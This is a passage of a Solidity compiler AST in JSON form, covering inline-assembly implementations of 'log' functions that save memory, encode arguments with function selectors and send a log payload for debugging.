ulAssignment","src":"140987:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"140999:4:22","nodeType":"YulLiteral","src":"140999:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"140993:5:22","nodeType":"YulIdentifier","src":"140993:5:22"},"nativeSrc":"140993:11:22","nodeType":"YulFunctionCall","src":"140993:11:22"},"variableNames":[{"name":"m1","nativeSrc":"140987:2:22","nodeType":"YulIdentifier","src":"140987:2:22"}]},{"nativeSrc":"141017:17:22","nodeType":"YulAssignment","src":"141017:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"141029:4:22","nodeType":"YulLiteral","src":"141029:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"141023:5:22","nodeType":"YulIdentifier","src":"141023:5:22"},"nativeSrc":"141023:11:22","nodeType":"YulFunctionCall","src":"141023:11:22"},"variableNames":[{"name":"m2","nativeSrc":"141017:2:22","nodeType":"YulIdentifier","src":"141017:2:22"}]},{"nativeSrc":"141047:17:22","nodeType":"YulAssignment","src":"141047:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"141059:4:22","nodeType":"YulLiteral","src":"141059:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"141053:5:22","nodeType":"YulIdentifier","src":"141053:5:22"},"nativeSrc":"141053:11:22","nodeType":"YulFunctionCall","src":"141053:11:22"},"variableNames":[{"name":"m3","nativeSrc":"141047:2:22","nodeType":"YulIdentifier","src":"141047:2:22"}]},{"nativeSrc":"141077:17:22","nodeType":"YulAssignment","src":"141077:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"141089:4:22","nodeType":"YulLiteral","src":"141089:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"141083:5:22","nodeType":"YulIdentifier","src":"141083:5:22"},"nativeSrc":"141083:11:22","nodeType":"YulFunctionCall","src":"141083:11:22"},"variableNames":[{"name":"m4","nativeSrc":"141077:2:22","nodeType":"YulIdentifier","src":"141077:2:22"}]},{"nativeSrc":"141107:17:22","nodeType":"YulAssignment","src":"141107:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"141119:4:22","nodeType":"YulLiteral","src":"141119:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"141113:5:22","nodeType":"YulIdentifier","src":"141113:5:22"},"nativeSrc":"141113:11:22","nodeType":"YulFunctionCall","src":"141113:11:22"},"variableNames":[{"name":"m5","nativeSrc":"141107:2:22","nodeType":"YulIdentifier","src":"141107:2:22"}]},{"nativeSrc":"141137:17:22","nodeType":"YulAssignment","src":"141137:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"141149:4:22","nodeType":"YulLiteral","src":"141149:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"141143:5:22","nodeType":"YulIdentifier","src":"141143:5:22"},"nativeSrc":"141143:11:22","nodeType":"YulFunctionCall","src":"141143:11:22"},"variableNames":[{"name":"m6","nativeSrc":"141137:2:22","nodeType":"YulIdentifier","src":"141137:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141234:4:22","nodeType":"YulLiteral","src":"141234:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"141240:10:22","nodeType":"YulLiteral","src":"141240:10:22","type":"","value":"0x5f1d5c9f"}],"functionName":{"name":"mstore","nativeSrc":"141227:6:22","nodeType":"YulIdentifier","src":"141227:6:22"},"nativeSrc":"141227:24:22","nodeType":"YulFunctionCall","src":"141227:24:22"},"nativeSrc":"141227:24:22","nodeType":"YulExpressionStatement","src":"141227:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141271:4:22","nodeType":"YulLiteral","src":"141271:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"141277:2:22","nodeType":"YulIdentifier","src":"141277:2:22"}],"functionName":{"name":"mstore","nativeSrc":"141264:6:22","nodeType":"YulIdentifier","src":"141264:6:22"},"nativeSrc":"141264:16:22","nodeType":"YulFunctionCall","src":"141264:16:22"},"nativeSrc":"141264:16:22","nodeType":"YulExpressionStatement","src":"141264:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141300:4:22","nodeType":"YulLiteral","src":"141300:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"141306:4:22","nodeType":"YulLiteral","src":"141306:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"141293:6:22","nodeType":"YulIdentifier","src":"141293:6:22"},"nativeSrc":"141293:18:22","nodeType":"YulFunctionCall","src":"141293:18:22"},"nativeSrc":"141293:18:22","nodeType":"YulExpressionStatement","src":"141293:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141331:4:22","nodeType":"YulLiteral","src":"141331:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"141337:2:22","nodeType":"YulIdentifier","src":"141337:2:22"}],"functionName":{"name":"mstore","nativeSrc":"141324:6:22","nodeType":"YulIdentifier","src":"141324:6:22"},"nativeSrc":"141324:16:22","nodeType":"YulFunctionCall","src":"141324:16:22"},"nativeSrc":"141324:16:22","nodeType":"YulExpressionStatement","src":"141324:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141360:4:22","nodeType":"YulLiteral","src":"141360:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"141366:2:22","nodeType":"YulIdentifier","src":"141366:2:22"}],"functionName":{"name":"mstore","nativeSrc":"141353:6:22","nodeType":"YulIdentifier","src":"141353:6:22"},"nativeSrc":"141353:16:22","nodeType":"YulFunctionCall","src":"141353:16:22"},"nativeSrc":"141353:16:22","nodeType":"YulExpressionStatement","src":"141353:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141394:4:22","nodeType":"YulLiteral","src":"141394:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"141400:2:22","nodeType":"YulIdentifier","src":"141400:2:22"}],"functionName":{"name":"writeString","nativeSrc":"141382:11:22","nodeType":"YulIdentifier","src":"141382:11:22"},"nativeSrc":"141382:21:22","nodeType":"YulFunctionCall","src":"141382:21:22"},"nativeSrc":"141382:21:22","nodeType":"YulExpressionStatement","src":"141382:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38340,"isOffset":false,"isSlot":false,"src":"140957:2:22","valueSize":1},{"declaration":38343,"isOffset":false,"isSlot":false,"src":"140987:2:22","valueSize":1},{"declaration":38346,"isOffset":false,"isSlot":false,"src":"141017:2:22","valueSize":1},{"declaration":38349,"isOffset":false,"isSlot":false,"src":"141047:2:22","valueSize":1},{"declaration":38352,"isOffset":false,"isSlot":false,"src":"141077:2:22","valueSize":1},{"declaration":38355,"isOffset":false,"isSlot":false,"src":"141107:2:22","valueSize":1},{"declaration":38358,"isOffset":false,"isSlot":false,"src":"141137:2:22","valueSize":1},{"declaration":38330,"isOffset":false,"isSlot":false,"src":"141277:2:22","valueSize":1},{"declaration":38332,"isOffset":false,"isSlot":false,"src":"141400:2:22","valueSize":1},{"declaration":38334,"isOffset":false,"isSlot":false,"src":"141337:2:22","valueSize":1},{"declaration":38336,"isOffset":false,"isSlot":false,"src":"141366:2:22","valueSize":1}],"id":38360,"nodeType":"InlineAssembly","src":"140579:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38362,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"141438:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38363,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"141444:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38361,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"141422:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38364,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"141422:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38365,"nodeType":"ExpressionStatement","src":"141422:27:22"},{"AST":{"nativeSrc":"141468:214:22","nodeType":"YulBlock","src":"141468:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"141489:4:22","nodeType":"YulLiteral","src":"141489:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"141495:2:22","nodeType":"YulIdentifier","src":"141495:2:22"}],"functionName":{"name":"mstore","nativeSrc":"141482:6:22","nodeType":"YulIdentifier","src":"141482:6:22"},"nativeSrc":"141482:16:22","nodeType":"YulFunctionCall","src":"141482:16:22"},"nativeSrc":"141482:16:22","nodeType":"YulExpressionStatement","src":"141482:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141518:4:22","nodeType":"YulLiteral","src":"141518:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"141524:2:22","nodeType":"YulIdentifier","src":"141524:2:22"}],"functionName":{"name":"mstore","nativeSrc":"141511:6:22","nodeType":"YulIdentifier","src":"141511:6:22"},"nativeSrc":"141511:16:22","nodeType":"YulFunctionCall","src":"141511:16:22"},"nativeSrc":"141511:16:22","nodeType":"YulExpressionStatement","src":"141511:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141547:4:22","nodeType":"YulLiteral","src":"141547:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"141553:2:22","nodeType":"YulIdentifier","src":"141553:2:22"}],"functionName":{"name":"mstore","nativeSrc":"141540:6:22","nodeType":"YulIdentifier","src":"141540:6:22"},"nativeSrc":"141540:16:22","nodeType":"YulFunctionCall","src":"141540:16:22"},"nativeSrc":"141540:16:22","nodeType":"YulExpressionStatement","src":"141540:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141576:4:22","nodeType":"YulLiteral","src":"141576:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"141582:2:22","nodeType":"YulIdentifier","src":"141582:2:22"}],"functionName":{"name":"mstore","nativeSrc":"141569:6:22","nodeType":"YulIdentifier","src":"141569:6:22"},"nativeSrc":"141569:16:22","nodeType":"YulFunctionCall","src":"141569:16:22"},"nativeSrc":"141569:16:22","nodeType":"YulExpressionStatement","src":"141569:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141605:4:22","nodeType":"YulLiteral","src":"141605:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"141611:2:22","nodeType":"YulIdentifier","src":"141611:2:22"}],"functionName":{"name":"mstore","nativeSrc":"141598:6:22","nodeType":"YulIdentifier","src":"141598:6:22"},"nativeSrc":"141598:16:22","nodeType":"YulFunctionCall","src":"141598:16:22"},"nativeSrc":"141598:16:22","nodeType":"YulExpressionStatement","src":"141598:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141634:4:22","nodeType":"YulLiteral","src":"141634:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"141640:2:22","nodeType":"YulIdentifier","src":"141640:2:22"}],"functionName":{"name":"mstore","nativeSrc":"141627:6:22","nodeType":"YulIdentifier","src":"141627:6:22"},"nativeSrc":"141627:16:22","nodeType":"YulFunctionCall","src":"141627:16:22"},"nativeSrc":"141627:16:22","nodeType":"YulExpressionStatement","src":"141627:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"141663:4:22","nodeType":"YulLiteral","src":"141663:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"141669:2:22","nodeType":"YulIdentifier","src":"141669:2:22"}],"functionName":{"name":"mstore","nativeSrc":"141656:6:22","nodeType":"YulIdentifier","src":"141656:6:22"},"nativeSrc":"141656:16:22","nodeType":"YulFunctionCall","src":"141656:16:22"},"nativeSrc":"141656:16:22","nodeType":"YulExpressionStatement","src":"141656:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38340,"isOffset":false,"isSlot":false,"src":"141495:2:22","valueSize":1},{"declaration":38343,"isOffset":false,"isSlot":false,"src":"141524:2:22","valueSize":1},{"declaration":38346,"isOffset":false,"isSlot":false,"src":"141553:2:22","valueSize":1},{"declaration":38349,"isOffset":false,"isSlot":false,"src":"141582:2:22","valueSize":1},{"declaration":38352,"isOffset":false,"isSlot":false,"src":"141611:2:22","valueSize":1},{"declaration":38355,"isOffset":false,"isSlot":false,"src":"141640:2:22","valueSize":1},{"declaration":38358,"isOffset":false,"isSlot":false,"src":"141669:2:22","valueSize":1}],"id":38366,"nodeType":"InlineAssembly","src":"141459:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"140369:3:22","parameters":{"id":38337,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38330,"mutability":"mutable","name":"p0","nameLocation":"140381:2:22","nodeType":"VariableDeclaration","scope":38368,"src":"140373:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38329,"name":"address","nodeType":"ElementaryTypeName","src":"140373:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38332,"mutability":"mutable","name":"p1","nameLocation":"140393:2:22","nodeType":"VariableDeclaration","scope":38368,"src":"140385:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38331,"name":"bytes32","nodeType":"ElementaryTypeName","src":"140385:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38334,"mutability":"mutable","name":"p2","nameLocation":"140402:2:22","nodeType":"VariableDeclaration","scope":38368,"src":"140397:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38333,"name":"bool","nodeType":"ElementaryTypeName","src":"140397:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38336,"mutability":"mutable","name":"p3","nameLocation":"140411:2:22","nodeType":"VariableDeclaration","scope":38368,"src":"140406:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38335,"name":"bool","nodeType":"ElementaryTypeName","src":"140406:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"140372:42:22"},"returnParameters":{"id":38338,"nodeType":"ParameterList","parameters":[],"src":"140429:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38408,"nodeType":"FunctionDefinition","src":"141694:1334:22","nodes":[],"body":{"id":38407,"nodeType":"Block","src":"141766:1262:22","nodes":[],"statements":[{"assignments":[38380],"declarations":[{"constant":false,"id":38380,"mutability":"mutable","name":"m0","nameLocation":"141784:2:22","nodeType":"VariableDeclaration","scope":38407,"src":"141776:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38379,"name":"bytes32","nodeType":"ElementaryTypeName","src":"141776:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38381,"nodeType":"VariableDeclarationStatement","src":"141776:10:22"},{"assignments":[38383],"declarations":[{"constant":false,"id":38383,"mutability":"mutable","name":"m1","nameLocation":"141804:2:22","nodeType":"VariableDeclaration","scope":38407,"src":"141796:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38382,"name":"bytes32","nodeType":"ElementaryTypeName","src":"141796:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38384,"nodeType":"VariableDeclarationStatement","src":"141796:10:22"},{"assignments":[38386],"declarations":[{"constant":false,"id":38386,"mutability":"mutable","name":"m2","nameLocation":"141824:2:22","nodeType":"VariableDeclaration","scope":38407,"src":"141816:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38385,"name":"bytes32","nodeType":"ElementaryTypeName","src":"141816:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38387,"nodeType":"VariableDeclarationStatement","src":"141816:10:22"},{"assignments":[38389],"declarations":[{"constant":false,"id":38389,"mutability":"mutable","name":"m3","nameLocation":"141844:2:22","nodeType":"VariableDeclaration","scope":38407,"src":"141836:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38388,"name":"bytes32","nodeType":"ElementaryTypeName","src":"141836:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38390,"nodeType":"VariableDeclarationStatement","src":"141836:10:22"},{"assignments":[38392],"declarations":[{"constant":false,"id":38392,"mutability":"mutable","name":"m4","nameLocation":"141864:2:22","nodeType":"VariableDeclaration","scope":38407,"src":"141856:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38391,"name":"bytes32","nodeType":"ElementaryTypeName","src":"141856:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38393,"nodeType":"VariableDeclarationStatement","src":"141856:10:22"},{"assignments":[38395],"declarations":[{"constant":false,"id":38395,"mutability":"mutable","name":"m5","nameLocation":"141884:2:22","nodeType":"VariableDeclaration","scope":38407,"src":"141876:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38394,"name":"bytes32","nodeType":"ElementaryTypeName","src":"141876:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38396,"nodeType":"VariableDeclarationStatement","src":"141876:10:22"},{"assignments":[38398],"declarations":[{"constant":false,"id":38398,"mutability":"mutable","name":"m6","nameLocation":"141904:2:22","nodeType":"VariableDeclaration","scope":38407,"src":"141896:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38397,"name":"bytes32","nodeType":"ElementaryTypeName","src":"141896:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38399,"nodeType":"VariableDeclarationStatement","src":"141896:10:22"},{"AST":{"nativeSrc":"141925:828:22","nodeType":"YulBlock","src":"141925:828:22","statements":[{"body":{"nativeSrc":"141968:313:22","nodeType":"YulBlock","src":"141968:313:22","statements":[{"nativeSrc":"141986:15:22","nodeType":"YulVariableDeclaration","src":"141986:15:22","value":{"kind":"number","nativeSrc":"142000:1:22","nodeType":"YulLiteral","src":"142000:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"141990:6:22","nodeType":"YulTypedName","src":"141990:6:22","type":""}]},{"body":{"nativeSrc":"142071:40:22","nodeType":"YulBlock","src":"142071:40:22","statements":[{"body":{"nativeSrc":"142100:9:22","nodeType":"YulBlock","src":"142100:9:22","statements":[{"nativeSrc":"142102:5:22","nodeType":"YulBreak","src":"142102:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"142088:6:22","nodeType":"YulIdentifier","src":"142088:6:22"},{"name":"w","nativeSrc":"142096:1:22","nodeType":"YulIdentifier","src":"142096:1:22"}],"functionName":{"name":"byte","nativeSrc":"142083:4:22","nodeType":"YulIdentifier","src":"142083:4:22"},"nativeSrc":"142083:15:22","nodeType":"YulFunctionCall","src":"142083:15:22"}],"functionName":{"name":"iszero","nativeSrc":"142076:6:22","nodeType":"YulIdentifier","src":"142076:6:22"},"nativeSrc":"142076:23:22","nodeType":"YulFunctionCall","src":"142076:23:22"},"nativeSrc":"142073:36:22","nodeType":"YulIf","src":"142073:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"142028:6:22","nodeType":"YulIdentifier","src":"142028:6:22"},{"kind":"number","nativeSrc":"142036:4:22","nodeType":"YulLiteral","src":"142036:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"142025:2:22","nodeType":"YulIdentifier","src":"142025:2:22"},"nativeSrc":"142025:16:22","nodeType":"YulFunctionCall","src":"142025:16:22"},"nativeSrc":"142018:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"142042:28:22","nodeType":"YulBlock","src":"142042:28:22","statements":[{"nativeSrc":"142044:24:22","nodeType":"YulAssignment","src":"142044:24:22","value":{"arguments":[{"name":"length","nativeSrc":"142058:6:22","nodeType":"YulIdentifier","src":"142058:6:22"},{"kind":"number","nativeSrc":"142066:1:22","nodeType":"YulLiteral","src":"142066:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"142054:3:22","nodeType":"YulIdentifier","src":"142054:3:22"},"nativeSrc":"142054:14:22","nodeType":"YulFunctionCall","src":"142054:14:22"},"variableNames":[{"name":"length","nativeSrc":"142044:6:22","nodeType":"YulIdentifier","src":"142044:6:22"}]}]},"pre":{"nativeSrc":"142022:2:22","nodeType":"YulBlock","src":"142022:2:22","statements":[]},"src":"142018:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"142135:3:22","nodeType":"YulIdentifier","src":"142135:3:22"},{"name":"length","nativeSrc":"142140:6:22","nodeType":"YulIdentifier","src":"142140:6:22"}],"functionName":{"name":"mstore","nativeSrc":"142128:6:22","nodeType":"YulIdentifier","src":"142128:6:22"},"nativeSrc":"142128:19:22","nodeType":"YulFunctionCall","src":"142128:19:22"},"nativeSrc":"142128:19:22","nodeType":"YulExpressionStatement","src":"142128:19:22"},{"nativeSrc":"142164:37:22","nodeType":"YulVariableDeclaration","src":"142164:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"142181:3:22","nodeType":"YulLiteral","src":"142181:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"142190:1:22","nodeType":"YulLiteral","src":"142190:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"142193:6:22","nodeType":"YulIdentifier","src":"142193:6:22"}],"functionName":{"name":"shl","nativeSrc":"142186:3:22","nodeType":"YulIdentifier","src":"142186:3:22"},"nativeSrc":"142186:14:22","nodeType":"YulFunctionCall","src":"142186:14:22"}],"functionName":{"name":"sub","nativeSrc":"142177:3:22","nodeType":"YulIdentifier","src":"142177:3:22"},"nativeSrc":"142177:24:22","nodeType":"YulFunctionCall","src":"142177:24:22"},"variables":[{"name":"shift","nativeSrc":"142168:5:22","nodeType":"YulTypedName","src":"142168:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"142229:3:22","nodeType":"YulIdentifier","src":"142229:3:22"},{"kind":"number","nativeSrc":"142234:4:22","nodeType":"YulLiteral","src":"142234:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"142225:3:22","nodeType":"YulIdentifier","src":"142225:3:22"},"nativeSrc":"142225:14:22","nodeType":"YulFunctionCall","src":"142225:14:22"},{"arguments":[{"name":"shift","nativeSrc":"142245:5:22","nodeType":"YulIdentifier","src":"142245:5:22"},{"arguments":[{"name":"shift","nativeSrc":"142256:5:22","nodeType":"YulIdentifier","src":"142256:5:22"},{"name":"w","nativeSrc":"142263:1:22","nodeType":"YulIdentifier","src":"142263:1:22"}],"functionName":{"name":"shr","nativeSrc":"142252:3:22","nodeType":"YulIdentifier","src":"142252:3:22"},"nativeSrc":"142252:13:22","nodeType":"YulFunctionCall","src":"142252:13:22"}],"functionName":{"name":"shl","nativeSrc":"142241:3:22","nodeType":"YulIdentifier","src":"142241:3:22"},"nativeSrc":"142241:25:22","nodeType":"YulFunctionCall","src":"142241:25:22"}],"functionName":{"name":"mstore","nativeSrc":"142218:6:22","nodeType":"YulIdentifier","src":"142218:6:22"},"nativeSrc":"142218:49:22","nodeType":"YulFunctionCall","src":"142218:49:22"},"nativeSrc":"142218:49:22","nodeType":"YulExpressionStatement","src":"142218:49:22"}]},"name":"writeString","nativeSrc":"141939:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"141960:3:22","nodeType":"YulTypedName","src":"141960:3:22","type":""},{"name":"w","nativeSrc":"141965:1:22","nodeType":"YulTypedName","src":"141965:1:22","type":""}],"src":"141939:342:22"},{"nativeSrc":"142294:17:22","nodeType":"YulAssignment","src":"142294:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"142306:4:22","nodeType":"YulLiteral","src":"142306:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"142300:5:22","nodeType":"YulIdentifier","src":"142300:5:22"},"nativeSrc":"142300:11:22","nodeType":"YulFunctionCall","src":"142300:11:22"},"variableNames":[{"name":"m0","nativeSrc":"142294:2:22","nodeType":"YulIdentifier","src":"142294:2:22"}]},{"nativeSrc":"142324:17:22","nodeType":"YulAssignment","src":"142324:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"142336:4:22","nodeType":"YulLiteral","src":"142336:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"142330:5:22","nodeType":"YulIdentifier","src":"142330:5:22"},"nativeSrc":"142330:11:22","nodeType":"YulFunctionCall","src":"142330:11:22"},"variableNames":[{"name":"m1","nativeSrc":"142324:2:22","nodeType":"YulIdentifier","src":"142324:2:22"}]},{"nativeSrc":"142354:17:22","nodeType":"YulAssignment","src":"142354:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"142366:4:22","nodeType":"YulLiteral","src":"142366:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"142360:5:22","nodeType":"YulIdentifier","src":"142360:5:22"},"nativeSrc":"142360:11:22","nodeType":"YulFunctionCall","src":"142360:11:22"},"variableNames":[{"name":"m2","nativeSrc":"142354:2:22","nodeType":"YulIdentifier","src":"142354:2:22"}]},{"nativeSrc":"142384:17:22","nodeType":"YulAssignment","src":"142384:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"142396:4:22","nodeType":"YulLiteral","src":"142396:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"142390:5:22","nodeType":"YulIdentifier","src":"142390:5:22"},"nativeSrc":"142390:11:22","nodeType":"YulFunctionCall","src":"142390:11:22"},"variableNames":[{"name":"m3","nativeSrc":"142384:2:22","nodeType":"YulIdentifier","src":"142384:2:22"}]},{"nativeSrc":"142414:17:22","nodeType":"YulAssignment","src":"142414:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"142426:4:22","nodeType":"YulLiteral","src":"142426:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"142420:5:22","nodeType":"YulIdentifier","src":"142420:5:22"},"nativeSrc":"142420:11:22","nodeType":"YulFunctionCall","src":"142420:11:22"},"variableNames":[{"name":"m4","nativeSrc":"142414:2:22","nodeType":"YulIdentifier","src":"142414:2:22"}]},{"nativeSrc":"142444:17:22","nodeType":"YulAssignment","src":"142444:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"142456:4:22","nodeType":"YulLiteral","src":"142456:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"142450:5:22","nodeType":"YulIdentifier","src":"142450:5:22"},"nativeSrc":"142450:11:22","nodeType":"YulFunctionCall","src":"142450:11:22"},"variableNames":[{"name":"m5","nativeSrc":"142444:2:22","nodeType":"YulIdentifier","src":"142444:2:22"}]},{"nativeSrc":"142474:17:22","nodeType":"YulAssignment","src":"142474:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"142486:4:22","nodeType":"YulLiteral","src":"142486:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"142480:5:22","nodeType":"YulIdentifier","src":"142480:5:22"},"nativeSrc":"142480:11:22","nodeType":"YulFunctionCall","src":"142480:11:22"},"variableNames":[{"name":"m6","nativeSrc":"142474:2:22","nodeType":"YulIdentifier","src":"142474:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142574:4:22","nodeType":"YulLiteral","src":"142574:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"142580:10:22","nodeType":"YulLiteral","src":"142580:10:22","type":"","value":"0x515e38b6"}],"functionName":{"name":"mstore","nativeSrc":"142567:6:22","nodeType":"YulIdentifier","src":"142567:6:22"},"nativeSrc":"142567:24:22","nodeType":"YulFunctionCall","src":"142567:24:22"},"nativeSrc":"142567:24:22","nodeType":"YulExpressionStatement","src":"142567:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142611:4:22","nodeType":"YulLiteral","src":"142611:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"142617:2:22","nodeType":"YulIdentifier","src":"142617:2:22"}],"functionName":{"name":"mstore","nativeSrc":"142604:6:22","nodeType":"YulIdentifier","src":"142604:6:22"},"nativeSrc":"142604:16:22","nodeType":"YulFunctionCall","src":"142604:16:22"},"nativeSrc":"142604:16:22","nodeType":"YulExpressionStatement","src":"142604:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"142640:4:22","nodeType":"YulLiteral","src":"142640:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"142646:4:22","node